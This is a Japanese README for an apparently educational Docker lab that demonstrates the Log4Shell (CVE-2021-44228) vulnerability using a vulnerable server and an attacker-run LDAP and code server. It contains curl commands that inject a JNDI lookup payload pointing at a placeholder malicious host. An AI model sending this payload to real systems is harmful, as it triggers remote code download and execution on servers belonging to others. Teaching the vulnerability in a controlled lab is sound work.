
Log4Shell / CVE-2021-44228 の脆弱性がどのように動作するかを示すデモ
このプロジェクトは、Log4Shell / CVE-2021-44228 の脆弱性がどのように機能するかを実演することを目的としています。
必要なのはDockerがインストールされていることだけです。理想的には、2つの異なる仮想マシンを用意してください。1つは 脆弱なサーバー 用で、もう1つは悪意のあるコードベースとLDAPサーバーをホストする 悪意のあるサーバー 用です。
オプションとして Make と Docker Compose をインストールしても構いませんが、このリポジトリには make.sh も含まれており、それらの要件をスキップしてDockerコンテナ内から使用できるため、これらは必須ではありません。
まだインストールしていない場合、Debian VMにDockerをインストールする手順は次のとおりです。次の手順を利用できます: https://gist.github.com/mschmnet/5d8c979920801c73e148c901a5989b46
git clone [email protected]:mschmnet/Log4Shell-demo.git
cd vulnerable-server
../make.sh run # Or you coud execute make run if you hade Make and Docker Compose installed
これにより、悪意のあるJavaクラスを配信するための基本的なLDAPサーバーと基本的なPythonサーバーが起動します。
これらのサーバーが利用可能になるIPアドレスまたはドメイン名を指定する必要があります。
cd malicious-server
../make.sh run CODEBASE_URL=SERVER_IP_OR_DOMAIN_NAME # Optionally make instead of ../make.sh if you had Make and Docker Compose installed
curl -X GET -G --data-urlencode 'foo=${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a}' http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint
または、単に
curl --location --request GET 'http://IP_OR_DOMAIN_VULNERABLE_SERVER/some-endpoint?foo=%24%7Bjndi%3Aldap%3A%2F%2FIP_OR_DOMAIN_MALICIOUS_SERVER%3A1389%2Fa%7D'
ここで ${jndi:ldap://IP_OR_DOMAIN_MALICIOUS_SERVER:1389/a} は単にURLエンコードされているだけです。
../make.sh stop
../make.sh logs
https://raw.githubusercontent.com/mschmnet/Log4Shell-demo/main/pdf/slides.pdf